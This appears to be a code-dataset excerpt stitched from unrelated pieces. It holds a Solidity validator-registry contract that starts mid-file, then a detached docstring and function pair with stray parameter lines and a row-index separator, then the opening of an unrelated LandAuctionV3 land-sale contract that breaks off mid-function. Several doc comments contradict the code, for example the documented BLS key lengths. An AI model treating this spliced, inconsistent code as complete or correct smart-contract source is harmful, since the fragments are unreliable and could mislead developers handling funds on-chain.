ValidatorScoreParameters private validatorScoreParameters;
// The number of blocks to delay a Validator's commission update
uint256 public commissionUpdateDelay;
uint256 public slashingMultiplierResetPeriod;
uint256 public downtimeGracePeriod;
FixidityLib.Fraction public pledgeMultiplierInReward; //Proportion of pledge in reward >0 <FIXED1_UINT
event CommissionUpdateDelaySet(uint256 delay);
event PledgeMultiplierInRewardSet(uint256 delay);
event ValidatorScoreParametersSet(uint256 exponent, uint256 adjustmentSpeed);
event ValidatorLockedGoldRequirementsSet(uint256 value, uint256 duration);
event ValidatorRegistered(address indexed validator, uint256 indexed commission);
event ValidatorDeregistered(address indexed validator);
event ValidatorPreDeregistered(address indexed validator);
event ValidatorEcdsaPublicKeyUpdated(address indexed validator, bytes ecdsaPublicKey);
event ValidatorBlsPublicKeyUpdated(address indexed validator, bytes blsPublicKey);
event ValidatorScoreUpdated(address indexed validator, uint256 score, uint256 epochScore);
event ValidatorCommissionUpdateQueued(
address indexed validator,
uint256 commission,
uint256 activationBlock
);
event ValidatorCommissionUpdated(address indexed validator, uint256 commission);
event ValidatorEpochPaymentDistributed(
address indexed validator,
uint256 validatorPayment
);
modifier onlySlasher() {
require(getLockedGold().isSlasher(msg.sender), "Only registered slasher can call");
_;
}
/**
* @notice Returns the storage, major, minor, and patch version of the contract.
* @return The storage, major, minor, and patch version of the contract.
*/
function getVersionNumber() external pure returns (uint256, uint256, uint256, uint256) {
return (1, 2, 0, 2);
}
/**
* @notice Sets initialized == true on implementation contracts
* @param test Set to true to skip implementation initialization
*/
constructor(bool test) public Initializable(test) {}
/**
* @notice Used in place of the constructor to allow the contract to be upgradable via proxy.
* @param registryAddress The address of the registry core smart contract.
* @param validatorRequirementValue The Locked Gold requirement amount for validators.
* @param validatorRequirementDuration The Locked Gold requirement duration for validators.
* @param validatorRequirementValue The Locked Gold requirement amount for validators.
* @param validatorRequirementDuration The Locked Gold requirement duration for validators.
* @param validatorScoreExponent The exponent used in calculating validator scores.
* @param validatorScoreAdjustmentSpeed The speed at which validator scores are adjusted.
* @param _commissionUpdateDelay The number of blocks to delay a ValidatorValidator's commission
* update.
* @dev Should be called only once.
*/
function initialize(
address registryAddress,
uint256 validatorRequirementValue,
uint256 validatorRequirementDuration,
uint256 validatorScoreExponent,
uint256 validatorScoreAdjustmentSpeed,
uint256 _slashingMultiplierResetPeriod,
uint256 _commissionUpdateDelay,
uint256 _pledgeMultiplierInReward,
uint256 _downtimeGracePeriod
) external initializer {
_transferOwnership(msg.sender);
setRegistry(registryAddress);
setValidatorLockedGoldRequirements(validatorRequirementValue, validatorRequirementDuration);
setValidatorScoreParameters(validatorScoreExponent, validatorScoreAdjustmentSpeed);
setCommissionUpdateDelay(_commissionUpdateDelay);
setPledgeMultiplierInReward(_pledgeMultiplierInReward);
setSlashingMultiplierResetPeriod(_slashingMultiplierResetPeriod);
setDowntimeGracePeriod(_downtimeGracePeriod);
}
/**
* @notice Updates the block delay for a Validator's commission udpdate
* @param delay Number of blocks to delay the update
*/
function setCommissionUpdateDelay(uint256 delay) public onlyOwner {
require(delay != commissionUpdateDelay, "commission update delay not changed");
commissionUpdateDelay = delay;
emit CommissionUpdateDelaySet(delay);
}
/**
* @notice Updates the block delay for Proportion of pledge in reward
* @param pledgeMultiplier Number of blocks to delay the update
*/
function setPledgeMultiplierInReward(uint256 pledgeMultiplier) public onlyOwner {
require(!FixidityLib.wrap(pledgeMultiplier).equals(pledgeMultiplierInReward), "Proportion of pledge in reward update delay not changed");
pledgeMultiplierInReward = FixidityLib.wrap(pledgeMultiplier);
emit PledgeMultiplierInRewardSet(pledgeMultiplier);
}
/**
* @notice Updates the validator score parameters.
* @param exponent The exponent used in calculating the score.
* @param adjustmentSpeed The speed at which the score is adjusted.
* @return True upon success.
*/
function setValidatorScoreParameters(uint256 exponent, uint256 adjustmentSpeed)
public
onlyOwner
returns (bool)
{
require(
adjustmentSpeed <= FixidityLib.fixed1().unwrap(),
"Adjustment speed cannot be larger than 1"
);
require(
exponent != validatorScoreParameters.exponent ||
!FixidityLib.wrap(adjustmentSpeed).equals(validatorScoreParameters.adjustmentSpeed),
"Adjustment speed and exponent not changed"
);
validatorScoreParameters = ValidatorScoreParameters(
exponent,
FixidityLib.wrap(adjustmentSpeed)
);
emit ValidatorScoreParametersSet(exponent, adjustmentSpeed);
return true;
}
/**
* @notice Returns the block delay for a Validator's commission udpdate.
* @return The block delay for a ValidatorValidator's commission udpdate.
*/
function getCommissionUpdateDelay() external view returns (uint256) {
return commissionUpdateDelay;
}
/**
* @notice Returns the block delay for Validator's Proportion of pledge in reward.
* @return The block delay for a Validator's Proportion of pledge in reward.
*/
function getPledgeMultiplierInReward() external view returns (uint256) {
return pledgeMultiplierInReward.unwrap();
}
/**
* @notice Updates the Locked Gold requirements for Validators.
* @param value The amount of Locked Gold required.
* @param duration The time (in seconds) that these requirements persist for.
* @return True upon success.
*/
function setValidatorLockedGoldRequirements(uint256 value, uint256 duration)
public
onlyOwner
returns (bool)
{
LockedGoldRequirements storage requirements = validatorLockedGoldRequirements;
require(
value != requirements.value || duration != requirements.duration,
"Validator requirements not changed"
);
validatorLockedGoldRequirements = LockedGoldRequirements(value, duration);
emit ValidatorLockedGoldRequirementsSet(value, duration);
return true;
}
/**
* @notice Registers a validator
* @param blsBlsG1BlsPopEcdsaPub contain 4 params
blsBlsG1BlsPopEcdsaPub[0] = bytes memory blsPublicKey,
blsBlsG1BlsPopEcdsaPub[1] = bytes memory blsG1PubKey,
blsBlsG1BlsPopEcdsaPub[2] = bytes memory blsPop,
blsBlsG1BlsPopEcdsaPub[3] = bytes memory ecdsaPublicKey,
* @return True upon success.
* @dev Fails if the account is already a validator or validator.
* @dev Fails if the account does not have sufficient Locked Gold.
*/
function registerValidator(
uint256 commission,
address lesser,
address greater,
bytes[] calldata blsBlsG1BlsPopEcdsaPub
) external nonReentrant returns (bool) {
require(blsBlsG1BlsPopEcdsaPub.length == 4, "wrong params");
FixidityLib.Fraction memory newCommission = FixidityLib.newFixed(commission).divide(FixidityLib.newFixed(1000000));
uint256 newCommissionWrap = newCommission.unwrap();
require(newCommissionWrap <= FixidityLib.fixed1().unwrap(), "Commission can't be greater than 100%");
address account = getAccounts().validatorSignerToAccount(msg.sender);
require(!isValidator(account), "Already registered");
Validator storage validator = validators[account];
address signer = getAccounts().getValidatorSigner(account);
require(
_updateEcdsaPublicKey(validator, account, signer, blsBlsG1BlsPopEcdsaPub[3]),
"Error updating ECDSA public key"
);
require(
_updateBlsPublicKey(validator, account, blsBlsG1BlsPopEcdsaPub[0], blsBlsG1BlsPopEcdsaPub[1], blsBlsG1BlsPopEcdsaPub[2]),
"Error updating BLS public key"
);
uint256 lockedGoldBalance = getLockedGold().getAccountTotalLockedGold(account);
require(lockedGoldBalance >= validatorLockedGoldRequirements.value, "Deposit too small");
require(validators[account].publicKeys.bls.length > 0, "no have blsPublicKey");
registeredValidators.push(account);
//------------ New changes -------
validator.commission = newCommission;
validator.slashInfo = SlashingInfo(FixidityLib.fixed1(), 0);
emit ValidatorRegistered(account, newCommissionWrap);
validator.registerTimestamp = now;
getElection().markValidatorEligible(lesser, greater, account);
return true;
}
function revertRegisterValidator() external returns (bool) {
address account = getAccounts().validatorSignerToAccount(msg.sender);
require(isValidator(account), "account not a pending deRegister Validator");
for (uint256 i=0; i<deregisterValidators.length;i=i.add(1)){
if (deregisterValidators[i] == account){
deleteElement(deregisterValidators, account, i);
return true;
}
}
return false;
}
function isPendingDeRegisterValidator() external view returns (bool) {
address account = getAccounts().validatorSignerToAccount(msg.sender);
for (uint256 i=0; i<deregisterValidators.length;i=i.add(1)){
if (deregisterValidators[i] == account){
return true;
}
}
return false;
}
/**
* @notice Returns the parameters that govern how a validator's score is calculated.
* @return The parameters that goven how a validator's score is calculated.
*/
function getValidatorScoreParameters() external view returns (uint256, uint256) {
return (validatorScoreParameters.exponent, validatorScoreParameters.adjustmentSpeed.unwrap());
}
/**
* @notice Calculates the validator score for an epoch from the uptime value for the epoch.
* @param uptime The Fixidity representation of the validator's uptime, between 0 and 1.
* @dev epoch_score = uptime ** exponent
* @return Fixidity representation of the epoch score between 0 and 1.
*/
function calculateEpochScore(uint256 uptime) public view returns (uint256) {
require(uptime <= FixidityLib.fixed1().unwrap(), "Uptime cannot be larger than one");
uint256 numerator;
uint256 denominator;
uptime = Math.min(uptime.add(downtimeGracePeriod), FixidityLib.fixed1().unwrap());
(numerator, denominator) = fractionMulExp(
FixidityLib.fixed1().unwrap(),
FixidityLib.fixed1().unwrap(),
uptime,
FixidityLib.fixed1().unwrap(),
validatorScoreParameters.exponent,
18
);
return FixidityLib.newFixedFraction(numerator, denominator).unwrap();
}
/**
* @notice Updates a validator's score based on its uptime for the epoch.
* @param signer The validator signer of the validator account whose score needs updating.
* @param uptime The Fixidity representation of the validator's uptime, between 0 and 1.
* @return True upon success.
*/
function updateValidatorScoreFromSigner(address signer, uint256 uptime) external onlyVm() returns (uint256, bool){
return _updateValidatorScoreFromSigner(signer, uptime);
}
/**
* @notice Updates a validator's score based on its uptime for the epoch.
* @param signer The validator signer of the validator whose score needs updating.
* @param uptime The Fixidity representation of the validator's uptime, between 0 and 1.
* @dev new_score = uptime ** exponent * adjustmentSpeed + old_score * (1 - adjustmentSpeed)
* @return True upon success.
*/
function _updateValidatorScoreFromSigner(address signer, uint256 uptime) internal returns (uint256, bool) {
address account = getAccounts().signerToAccount(signer);
// require(isValidator(account), "Not a validator");
if (isValidator(account)) {
FixidityLib.Fraction memory epochScore = FixidityLib.wrap(calculateEpochScore(uptime));
FixidityLib.Fraction memory newComponent = validatorScoreParameters.adjustmentSpeed.multiply(
epochScore
);
FixidityLib.Fraction memory currentComponent = FixidityLib.fixed1().subtract(
validatorScoreParameters.adjustmentSpeed
);
currentComponent = currentComponent.multiply(validators[account].score);
validators[account].score = FixidityLib.wrap(
Math.min(epochScore.unwrap(), newComponent.add(currentComponent).unwrap())
);
emit ValidatorScoreUpdated(account, validators[account].score.unwrap(), epochScore.unwrap());
return (validators[account].score.unwrap(), true);
}
return (0, false);
}
/**
* @notice Distributes epoch payments to the account associated with `signer` and its validator.
* @param signer The validator signer of the account to distribute the epoch payment to.
* @param maxPayment The maximum payment to the validator. Actual payment is based on score and
* validator commission.
* @return The total payment paid to the validator and voters.
*/
function distributeEpochPaymentsFromSigner(address signer, uint256 maxPayment, uint256 totalScores)
external
onlyVm()
returns (uint256, uint256)
{
return _distributeEpochPaymentsFromSigner(signer, maxPayment, totalScores);
}
/**
* @notice Distributes epoch payments to the account associated with `signer` and its validator.
* @param signer The validator signer of the validator to distribute the epoch payment to.
* @param maxPayment The maximum payment to the validator. Actual payment is based on score and
* validator commission.
* @return The total payment paid to the validator and voters.
*/
function _distributeEpochPaymentsFromSigner(address signer, uint256 maxPayment, uint256 totalScores)
internal
returns (uint256, uint256)
{
address account = getAccounts().signerToAccount(signer);
if (isValidator(account)) {
require(account != address(0), "Validator not registered with a validator");
// Both the validator and the validator must maintain the minimum locked gold balance in order to
// receive epoch payments.
if (meetsAccountLockedGoldRequirements(account)) {
FixidityLib.Fraction memory totalPayment = FixidityLib.newFixed(maxPayment);
// maxPayment * score * multiplier
//totalScores = (N*p+s1+s2+s3...)
//totalPaymentMultiplier = (score + p) / totalScores
FixidityLib.Fraction memory totalPaymentMultiplier =
validators[account].score.add(pledgeMultiplierInReward)
.divide(FixidityLib.wrap(totalScores));
totalPayment = totalPayment.multiply(totalPaymentMultiplier);
// .multiply(validators[account].slashInfo.multiplier); //todo slash
uint256 validatorCommission =
totalPayment
.multiply(validators[account].commission).fromFixed();
uint256 remainPayment = totalPayment.fromFixed().sub(validatorCommission);
//----------------- validator -----------------
require(getGoldToken2().mint(account, validatorCommission), "mint failed to validator account");
emit ValidatorEpochPaymentDistributed(account, validatorCommission);
return (totalPayment.fromFixed(), remainPayment);
} else {
return (0, 0);
}
} else {
return (0, 0);
}
}
/**
* @notice De-registers a validator.
* @return True upon success.
* @dev Fails if the account is not a validator.
* @dev Fails if the validator has been a member of a validator too recently.
*/
function deregisterValidator() external nonReentrant returns (bool) {
address account = getAccounts().validatorSignerToAccount(msg.sender);
require(isValidator(account), "Not a validator");
// Require that the validator has not been a member of a validator for
// `validatorLockedGoldRequirements.duration` seconds.
Validator storage validator = validators[account];
uint256 requirementEndTime = validator.registerTimestamp.add(
validatorLockedGoldRequirements.duration
);
require(requirementEndTime < now, "Not yet requirement end time");
deregisterValidators.push(account);
emit ValidatorPreDeregistered(account);
// //Marks a validator ineligible for electing validators.
// //Will not participate in validation
// getElection().markValidatorIneligible(account);
// // Remove the validator.
// deleteElement(registeredValidators, account, index);
// delete validators[account];
// emit ValidatorDeregistered(account);
return true;
}
function deRegisterAllValidatorsInPending()
external
nonReentrant
onlyVm
returns (address[] memory)
{
for (uint256 i = 0; i < deregisterValidators.length; i = i.add(1)){
for (uint256 j = 0; j < registeredValidators.length; j = j.add(1)) {
if (deregisterValidators[i] ==registeredValidators[j]){
deleteElement(registeredValidators, deregisterValidators[i], j);
//Marks a validator ineligible for electing validators.
//Will not participate in validation
getElection().markValidatorIneligible(deregisterValidators[i]);
delete validators[deregisterValidators[i]];
emit ValidatorDeregistered(deregisterValidators[i]);
break;
}
}
}
delete deregisterValidators;
return registeredValidators;
}
/**
* @notice Updates a validator's BLS key.
* @param blsPublicKey The BLS public key that the validator is using for consensus, should pass
* proof of possession. 48 bytes.
* @param blsPop The BLS public key proof-of-possession, which consists of a signature on the
* account address. 48 bytes.
* @return True upon success.
*/
function updateBlsPublicKey(bytes calldata blsPublicKey, bytes calldata blsG1PublicKey, bytes calldata blsPop)
external
returns (bool)
{
address account = getAccounts().validatorSignerToAccount(msg.sender);
require(isValidator(account), "Not a validator");
Validator storage validator = validators[account];
require(
_updateBlsPublicKey(validator, account, blsPublicKey, blsG1PublicKey, blsPop),
"Error updating BLS public key"
);
return true;
}
/**
* @notice Updates a validator's BLS key.
* @param validator The validator whose BLS public key should be updated.
* @param account The address under which the validator is registered.
* @param blsPublicKey The BLS public key that the validator is using for consensus, should pass
* proof of possession. 96 bytes.
* @param blsPop The BLS public key proof-of-possession, which consists of a signature on the
* account address. 48 bytes.
* @return True upon success.
*/
function _updateBlsPublicKey(
Validator storage validator,
address account,
bytes memory blsPublicKey,
bytes memory blsG1PubKey,
bytes memory blsPop
) private returns (bool) {
require(blsG1PubKey.length == 64, "Wrong blsG1 public key length");
require(blsPublicKey.length == 128, "Wrong BLS public key length");
require(blsPop.length == 64, "Wrong BLS PoP length");
require(checkProofOfPossession(account, blsPublicKey, blsG1PubKey, blsPop), "Invalid BLS PoP");
validator.publicKeys.bls = blsPublicKey;
validator.publicKeys.blsG1 = blsG1PubKey;
emit ValidatorBlsPublicKeyUpdated(account, blsPublicKey);
return true;
}
/**
* @notice Updates a validator's ECDSA key.
* @param account The address under which the validator is registered.
* @param signer The address which the validator is using to sign consensus messages.
* @param ecdsaPublicKey The ECDSA public key corresponding to `signer`.
* @return True upon success.
*/
function updateEcdsaPublicKey(address account, address signer, bytes calldata ecdsaPublicKey)
external
onlyRegisteredContract(ACCOUNTS_REGISTRY_ID)
returns (bool)
{
require(isValidator(account), "Not a validator");
Validator storage validator = validators[account];
require(
_updateEcdsaPublicKey(validator, account, signer, ecdsaPublicKey),
"Error updating ECDSA public key"
);
return true;
}
/**
* @notice Updates a validator's ECDSA key.
* @param validator The validator whose ECDSA public key should be updated.
* @param signer The address with which the validator is signing consensus messages.
* @param ecdsaPublicKey The ECDSA public key that the validator is using for consensus. Should
* match `signer`. 64 bytes.
* @return True upon success.
*/
function _updateEcdsaPublicKey(
Validator storage validator,
address account,
address signer,
bytes memory ecdsaPublicKey
) private returns (bool) {
require(ecdsaPublicKey.length == 64, "Wrong ECDSA public key length");
require(
address(uint160(uint256(keccak256(ecdsaPublicKey)))) == signer,
"ECDSA key does not match signer"
);
validator.publicKeys.ecdsa = ecdsaPublicKey;
emit ValidatorEcdsaPublicKeyUpdated(account, ecdsaPublicKey);
return true;
}
/**
* @notice Updates a validator's ECDSA and BLS keys.
* @param account The address under which the validator is registered.
* @param signer The address which the validator is using to sign consensus messages.
* @param ecdsaPublicKey The ECDSA public key corresponding to `signer`.
* @param blsPublicKey The BLS public key that the validator is using for consensus, should pass
* proof of possession. 96 bytes.
* @param blsPop The BLS public key proof-of-possession, which consists of a signature on the
* account address. 48 bytes.
* @return True upon success.
*/
function updatePublicKeys(
address account,
address signer,
bytes calldata ecdsaPublicKey,
bytes calldata blsPublicKey,
bytes calldata blsG1PublicKey,
bytes calldata blsPop
) external onlyRegisteredContract(ACCOUNTS_REGISTRY_ID) returns (bool) {
require(isValidator(account), "Not a validator");
Validator storage validator = validators[account];
require(
_updateEcdsaPublicKey(validator, account, signer, ecdsaPublicKey),
"Error updating ECDSA public key"
);
require(
_updateBlsPublicKey(validator, account, blsPublicKey, blsG1PublicKey, blsPop),
"Error updating BLS public key"
);
return true;
}
/**
* @notice Queues an update to a validator's commission.
* If there was a previously scheduled update, that is overwritten.
* @param commission Fixidity representation of the commission this validator receives on epoch
* payments made to its members. Must be in the range [0, 1.0].
*/
function setNextCommissionUpdate(uint256 commission) external {
address account = getAccounts().validatorSignerToAccount(msg.sender);
require(isValidator(account), "Not a validator");
Validator storage validator = validators[account];
FixidityLib.Fraction memory newCommission = FixidityLib.newFixed(commission).divide(FixidityLib.newFixed(1000000));
uint256 newCommissionUnwrap = newCommission.unwrap();
require(newCommissionUnwrap <= FixidityLib.fixed1().unwrap(), "Commission can't be greater than 100%");
require(newCommissionUnwrap != validator.commission.unwrap(), "Commission must be different");
validator.nextCommission = newCommission;
validator.nextCommissionBlock = block.number.add(commissionUpdateDelay);
emit ValidatorCommissionUpdateQueued(account, newCommissionUnwrap, validator.nextCommissionBlock);
}
/**
* @notice Updates a validator's commission based on the previously queued update
*/
function updateCommission() external {
address account = getAccounts().validatorSignerToAccount(msg.sender);
require(isValidator(account), "Not a validator");
Validator storage validator = validators[account];
require(validator.nextCommissionBlock != 0, "No commission update queued");
require(validator.nextCommissionBlock <= block.number, "Can't apply commission update yet");
validator.commission = validator.nextCommission;
delete validator.nextCommission;
delete validator.nextCommissionBlock;
emit ValidatorCommissionUpdated(account, validator.commission.unwrap());
}
/**
* @notice Returns the current locked gold balance requirement for the supplied account.
* @param account The account that may have to meet locked gold balance requirements.
* @return The current locked gold balance requirement for the supplied account.
*/
function getAccountLockedGoldRequirement(address account) public view returns (uint256) {
if (isValidator(account)) {
return validatorLockedGoldRequirements.value;
}
return 0;
}
/**
* @notice Returns whether or not an account meets its Locked Gold requirements.
* @param account The address of the account.
* @return Whether or not an account meets its Locked Gold requirements.
*/
function meetsAccountLockedGoldRequirements(address account) public view returns (bool) {
uint256 balance = getLockedGold().getAccountTotalLockedGold(account);
// Add a bit of "wiggle room" to accommodate the fact that vote activation can result in ~1
// wei rounding errors. Using 10 as an additional margin of safety.
return balance.add(10) >= getAccountLockedGoldRequirement(account);
}
/**
* @notice Returns the validator BLS key.
* @param signer The account that registered the validator or its authorized signing address.
* @return The validator BLS key.
*/
function getValidatorBlsPublicKeyFromSigner(address signer)
external
view
returns (bytes memory blsPublicKey)
{
address account = getAccounts().signerToAccount(signer);
require(isValidator(account), "Not a validator");
return validators[account].publicKeys.bls;
}
/**
* @notice Returns the validator BLS key.
* @param signer The account that registered the validator or its authorized signing address.
* @return The validator BLS key.
*/
function getValidatorBlsG1PublicKeyFromSigner(address signer)
external
view
returns (bytes memory blsG1PublicKey)
{
address account = getAccounts().signerToAccount(signer);
require(isValidator(account), "Not a validator");
return validators[account].publicKeys.blsG1;
}
/**
* @notice Returns validator information.
* @param account The account that registered the validator.
* @return The unpacked validator struct.
*/
function getValidator(address account)
public
view
returns (
bytes memory ecdsaPublicKey,
bytes memory blsPublicKey,
bytes memory blsG1PublicKey,
uint256 score,
address signer,
//--------- New changes -----
uint256 commission,
uint256 nextCommission,
uint256 nextCommissionBlock,
uint256 slashMultiplier,
uint256 lastSlashed
)
{
require(isValidator(account), "Not a validator");
Validator storage validator = validators[account];
address addr = getAccounts().getValidatorSigner(account);
return (
validator.publicKeys.ecdsa,
validator.publicKeys.bls,
validator.publicKeys.blsG1,
validator.score.unwrap(),
addr,
//--------- New changes -----
validator.commission.unwrap(),
validator.nextCommission.unwrap(),
validator.nextCommissionBlock,
validator.slashInfo.multiplier.unwrap(),
validator.slashInfo.lastSlashed
);
}
/**
* @notice Returns the top n validator members for a particular validator.
* @param n The number of members to return.
* @return The top n validator members for a particular validator.
*/
function getTopValidators(uint256 n)
external
view
returns (address[] memory)
{
address[] memory topAccounts = getElection().getTopValidators(n);
address[] memory topValidators = new address[](n);
for (uint256 i = 0; i < topAccounts.length; i = i.add(1)) {
topValidators[i] = getAccounts().getValidatorSigner(topAccounts[i]);
}
return topValidators;
}
/**
* @notice Returns the number of registered validators.
* @return The number of registered validators.
*/
function getNumRegisteredValidators() external view returns (uint256) {
return registeredValidators.length;
}
/**
* @notice Returns the Locked Gold requirements for validators.
* @return The Locked Gold requirements for validators.
*/
function getValidatorLockedGoldRequirements() external view returns (uint256, uint256) {
return (validatorLockedGoldRequirements.value, validatorLockedGoldRequirements.duration);
}
/**
* @notice Returns the list of registered validator accounts.
* @return The list of registered validator accounts.
*/
function getRegisteredValidators() external view returns (address[] memory) {
return registeredValidators;
}
/**
* @notice Returns the list of signers for the registered validator accounts.
* @return The list of signers for registered validator accounts.
*/
function getRegisteredValidatorSigners() external view returns (address[] memory) {
IAccounts accounts = getAccounts();
address[] memory signers = new address[](registeredValidators.length);
for (uint256 i = 0; i < signers.length; i = i.add(1)) {
signers[i] = accounts.getValidatorSigner(registeredValidators[i]);
}
return signers;
}
/**
* @notice Returns whether a particular account has a registered validator.
* @param account The account.
* @return Whether a particular address is a registered validator.
*/
function isValidator(address account) public view returns (bool) {
return validators[account].publicKeys.bls.length > 0;
}
/**
* @notice Deletes an element from a list of addresses.
* @param list The list of addresses.
* @param element The address to delete.
* @param index The index of `element` in the list.
*/
function deleteElement(address[] storage list, address element, uint256 index) private {
require(index < list.length && list[index] == element, "deleteElement: index out of range");
uint256 lastIndex = list.length.sub(1);
list[index] = list[lastIndex];
delete list[lastIndex];
list.length = lastIndex;
}
/**
* @notice Sets the slashingMultiplierRestPeriod property if called by owner.
* @param value New reset period for slashing multiplier.
*/
function setSlashingMultiplierResetPeriod(uint256 value) public nonReentrant onlyOwner {
slashingMultiplierResetPeriod = value;
}
/**
* @notice Sets the downtimeGracePeriod property if called by owner.
* @param value New downtime grace period for calculating epoch scores.
*/
function setDowntimeGracePeriod(uint256 value) public nonReentrant onlyOwner {
downtimeGracePeriod = value;
}
/**
* @notice Resets a validator's slashing multiplier if it has been >= the reset period since
* the last time the validator was slashed.
*/
function resetSlashingMultiplier() external nonReentrant {
address account = getAccounts().validatorSignerToAccount(msg.sender);
require(isValidator(account), "Not a validator");
Validator storage validator = validators[account];
require(
now >= validator.slashInfo.lastSlashed.add(slashingMultiplierResetPeriod),
"`resetSlashingMultiplier` called before resetPeriod expired"
);
validator.slashInfo.multiplier = FixidityLib.fixed1();
}
/**
* @notice Halves the validator's slashing multiplier.
* @param account The validator being slashed.
*/
function halveSlashingMultiplier(address account) external nonReentrant onlySlasher {
require(isValidator(account), "Not a validator");
Validator storage validator = validators[account];
validator.slashInfo.multiplier = FixidityLib.wrap(validator.slashInfo.multiplier.unwrap().div(2));
validator.slashInfo.lastSlashed = now;
}
/**
* @notice Getter for a validator's slashing multiplier.
* @param account The validator to fetch slashing multiplier for.
*/
function getValidatorSlashingMultiplier(address account) external view returns (uint256) {
require(isValidator(account), "Not a validator");
Validator storage validator = validators[account];
return validator.slashInfo.multiplier.unwrap();
}
}
|
Updates the Locked Gold requirements for Validators. value The amount of Locked Gold required. duration The time (in seconds) that these requirements persist for. return True upon success./
|
function setValidatorLockedGoldRequirements(uint256 value, uint256 duration)
public
onlyOwner
returns (bool)
{
LockedGoldRequirements storage requirements = validatorLockedGoldRequirements;
require(
value != requirements.value || duration != requirements.duration,
"Validator requirements not changed"
);
validatorLockedGoldRequirements = LockedGoldRequirements(value, duration);
emit ValidatorLockedGoldRequirementsSet(value, duration);
return true;
}
blsBlsG1BlsPopEcdsaPub[1] = bytes memory blsG1PubKey,
blsBlsG1BlsPopEcdsaPub[2] = bytes memory blsPop,
blsBlsG1BlsPopEcdsaPub[3] = bytes memory ecdsaPublicKey,
| 2,479,538
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@unification-com/xfund-router/contracts/lib/ConsumerBase.sol";
import "./interfaces/ILandRegistry.sol";
import "./LandAuction.sol";
contract LandAuctionV3 is ConsumerBase, Ownable, ReentrancyGuard {
uint32 constant clearLow = 0xffff0000;
uint32 constant clearHigh = 0x0000ffff;
uint32 constant factor = 0x10000;
int16 public constant xLow = -96;
int16 public constant yLow = -99;
int16 public constant xHigh = 96;
int16 public constant yHigh = 99;
enum Stage {
Default,
Inactive1,
Inactive2,
PublicSale
}
uint256 public ethToShib;
bool public multiMintEnabled;
LandAuction public auctionV1;
LandAuction public auctionV2;
ILandRegistry public landRegistry;
IERC20 public immutable SHIB;
Stage public currentStage;
mapping(address => uint32[]) private _allMintsOf;
event StageSet(uint256 stage);
event multiMintToggled(bool newValue);
event LandBoughtWithShib(
address indexed user,
uint32 indexed encXY,
int16 x,
int16 y,
uint256 price,
uint256 time,
Stage saleStage
);
constructor(
IERC20 _shib,
LandAuction _auctionV1,
LandAuction _auctionV2,
ILandRegistry _landRegistry,
address _router,
address _xfund
) ConsumerBase(_router, _xfund) {
SHIB = _shib;
auctionV1 = _auctionV1;
auctionV2 = _auctionV2;
landRegistry = _landRegistry;
}
modifier onlyValid(int16 x, int16 y) {
require(xLow <= x && x <= xHigh, "ERR_X_OUT_OF_RANGE");
require(yLow <= y && y <= yHigh, "ERR_Y_OUT_OF_RANGE");
_;
}
modifier onlyStage(Stage s) {
require(currentStage == s, "ERR_THIS_STAGE_NOT_LIVE_YET");
_;
}
function bidInfoOf(address user)
external
view
returns (int16[] memory, int16[] memory)
{
(int16[] memory xsV1, int16[] memory ysV1) = auctionV2.bidInfoOf(user);
uint256 lengthV1 = xsV1.length;
uint256 bidCount = _allMintsOf[user].length;
int16[] memory xs = new int16[](bidCount + lengthV1);
int16[] memory ys = new int16[](bidCount + lengthV1);
for (uint256 i = 0; i < lengthV1; i = _uncheckedInc(i)) {
xs[i] = xsV1[i];
ys[i] = ysV1[i];
}
uint256 ptr = lengthV1;
uint32[] storage allMints = _allMintsOf[user];
uint256 length = allMints.length;
for (uint256 i = 0; i < length; i = _uncheckedInc(i)) {
(int16 x, int16 y) = _decodeXY(allMints[i]);
xs[ptr] = x;
ys[ptr] = y;
ptr = _uncheckedInc(ptr);
}
return (xs, ys);
}
function getReservePriceShib(int16 x, int16 y)
public
view
onlyValid(x, y)
returns (uint256)
{
// this will revert if not up for sale
uint256 reservePrice = auctionV1.getReservePrice(x, y);
// to check if this was bid on, in the bidding stage
(uint256 cAmount, ) = auctionV1.getCurrentBid(x, y);
require(cAmount == 0, "ERR_ALREADY_BOUGHT");
uint256 reservePriceInShib = (ethToShib * reservePrice) / 1 ether;
require(reservePriceInShib > 0, "ERR_BAD_PRICE");
return reservePriceInShib;
}
function mintPublicWithShib(int16 x, int16 y)
external
onlyStage(Stage.PublicSale)
nonReentrant
{
// this will revert if not up for sale
uint256 reservePriceInShib = getReservePriceShib(x, y);
address user = msg.sender;
SHIB.transferFrom(user, address(this), reservePriceInShib);
uint32 encXY = _encodeXY(x, y);
_allMintsOf[user].push(encXY);
landRegistry.mint(user, x, y);
emit LandBoughtWithShib(
user,
encXY,
x,
y,
reservePriceInShib,
block.timestamp,
Stage.PublicSale
);
}
function mintPublicWithShibMulti(
int16[] calldata xs,
int16[] calldata ys,
uint256[] calldata prices
) external onlyStage(Stage.PublicSale) nonReentrant {
require(multiMintEnabled, "ERR_MULTI_BID_DISABLED");
uint256 length = xs.length;
require(length != 0, "ERR_NO_INPUT");
require(length == ys.length, "ERR_INPUT_LENGTH_MISMATCH");
require(length == prices.length, "ERR_INPUT_LENGTH_MISMATCH");
uint256 total;
for (uint256 i = 0; i < length; i = _uncheckedInc(i)) {
total += prices[i];
}
address user = msg.sender;
SHIB.transferFrom(user, address(this), total);
for (uint256 i = 0; i < length; i = _uncheckedInc(i)) {
int16 x = xs[i];
int16 y = ys[i];
uint256 reservePriceInShib = getReservePriceShib(x, y);
require(
reservePriceInShib == prices[i],
"ERR_INSUFFICIENT_SHIB_SENT"
);
uint32 encXY = _encodeXY(x, y);
_allMintsOf[user].push(encXY);
landRegistry.mint(user, x, y);
emit LandBoughtWithShib(
user,
encXY,
x,
y,
prices[i],
block.timestamp,
Stage.PublicSale
);
}
}
function setStage(uint256 stage) external onlyOwner {
currentStage = Stage(stage);
emit StageSet(stage);
}
function setLandRegistry(address _landRegistry) external onlyOwner {
landRegistry = ILandRegistry(_landRegistry);
}
function setAuctionV1(LandAuction _auctionV1) external onlyOwner {
auctionV1 = _auctionV1;
}
function setAuctionV2(LandAuction _auctionV2) external onlyOwner {
auctionV2 = _auctionV2;
}
function setMultiMint(bool desiredValue) external onlyOwner {
require(multiMintEnabled != desiredValue, "ERR_ALREADY_DESIRED_VALUE");
multiMintEnabled = desiredValue;
emit multiMintToggled(desiredValue);
}
function increaseRouterAllowance(uint256 _amount) external onlyOwner {
require(_increaseRouterAllowance(_amount), "ERR_FAILED_TO_INCREASE");
}
function getData(address _provider, uint256 _fee)
